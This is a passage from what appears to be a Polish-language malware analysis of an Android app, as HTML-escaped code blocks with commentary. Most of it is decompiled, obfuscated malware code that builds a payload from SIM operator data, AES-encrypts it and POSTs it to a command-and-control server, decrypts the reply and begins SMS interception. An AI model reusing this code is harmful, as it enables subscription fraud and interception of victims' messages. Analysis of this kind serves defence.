            &lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;eymbmw&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;z&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;rktfht&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;C0021LfUtNUXX&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f37fhuPPCBW&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;C0023WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f42LfUtNUXX&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
            &lt;span class="n"&gt;C0006TXbyafmq&lt;/span&gt; &lt;span class="n"&gt;WYOdgBxH2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;C0005LfUtNUXX&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;C0006TXbyafmq&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WYOdgBxH2&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;C0055MdATElAc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;JSONObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WYOdgBxH2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f18MdATElAc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="na"&gt;getJSONArray&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;lybfta&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="na"&gt;getJSONObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IOException&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;JSONException&lt;/span&gt; &lt;span class="n"&gt;e2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Szkodliwe oprogramowanie sprawdza, czy dostarczony został kod SIM operatora, tworzy payload oraz konstruuje URL z wcześniej otrzymanego ciągu znaków, którego jednak nie jesteśmy w stanie uzyskać, ponieważ nie mamy dostępu do biblioteki natywnej &lt;code&gt;libphotoset.so&lt;/code&gt;. Kiedy funkcja &lt;code&gt;open()&lt;/code&gt; odszyfrowywała plik &lt;code&gt;DEX&lt;/code&gt;, uruchamiała metodę &lt;code&gt;init()&lt;/code&gt;, gdzie przekazywany był string z adresem URL C&amp;amp;C:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;MainEntry&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;init&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;C0021LfUtNUXX&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;str2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Następnie szyfruje payload i wysyła do C&amp;amp;C:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="nf"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;C0021LfUtNUXX&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;CEBGtjfl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;str2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="nf"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;WYOdgBxH2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;SecretKeySpec&lt;/span&gt; &lt;span class="n"&gt;secretKeySpec&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;SecretKeySpec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WYOdgBxH2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;AES&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;IvParameterSpec&lt;/span&gt; &lt;span class="n"&gt;ivParameterSpec&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;IvParameterSpec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WYOdgBxH2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;Cipher&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Cipher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;AES/CBC/PKCS5Padding&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;init&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;secretKeySpec&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ivParameterSpec&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;doFinal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;StandardCharsets&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;UTF_8&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Exception&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;RuntimeException&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="n"&gt;C0006TXbyafmq&lt;/span&gt; &lt;span class="nf"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;bArr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;InterfaceC0007WYOdgBxH&lt;/span&gt; &lt;span class="n"&gt;interfaceC0007WYOdgBxH&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f15TXbyafmq&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;interfaceC0007WYOdgBxH&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;interfaceC0007WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="n"&gt;HttpURLConnection&lt;/span&gt; &lt;span class="n"&gt;WYOdgBxH2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;POST&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="n"&gt;WYOdgBxH2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setDoInput&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="n"&gt;WYOdgBxH2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setDoOutput&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bArr&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;bArr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;OutputStream&lt;/span&gt; &lt;span class="n"&gt;outputStream&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;WYOdgBxH2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getOutputStream&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
                &lt;span class="n"&gt;outputStream&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bArr&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                &lt;span class="n"&gt;outputStream&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;flush&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
                &lt;span class="n"&gt;outputStream&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;close&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WYOdgBxH2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Exception&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Aplikacja sprawdza, czy połączenie było udane:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;C0006TXbyafmq&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WYOdgBxH2&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;C0055MdATElAc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;JSONObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WYOdgBxH2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f18MdATElAc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="na"&gt;getJSONArray&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;lybfta&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="na"&gt;getJSONObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;));}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Jeśli tak, to deszyfruje dane zwrotne od C&amp;amp;C a następnie odczytuje i zapisuje dane z tablicy &lt;code&gt;lubfta&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;bArr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;WYOdgBxH2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;SecretKeySpec&lt;/span&gt; &lt;span class="n"&gt;secretKeySpec&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;SecretKeySpec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WYOdgBxH2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;AES&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;IvParameterSpec&lt;/span&gt; &lt;span class="n"&gt;ivParameterSpec&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;IvParameterSpec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WYOdgBxH2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;Cipher&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Cipher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;AES/CBC/PKCS5Padding&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;init&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;secretKeySpec&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ivParameterSpec&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;doFinal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bArr&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Exception&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;RuntimeException&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Kiedy szkodliwa aplikacja dostanie listę potencjalnych subskrybentów, włącza przechwytywanie SMS-ów:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;C0042TXbyafmq&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="n"&gt;BroadcastReceiver&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;


        &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;f82WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="n"&gt;C0042TXbyafmq&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f82WYOdgBxH&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="nd"&gt;@Override&lt;/span&gt; 
        &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;onReceive&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Context&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Intent&lt;/span&gt; &lt;span class="n"&gt;intent&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;stringExtra&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;intent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getStringExtra&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f82WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
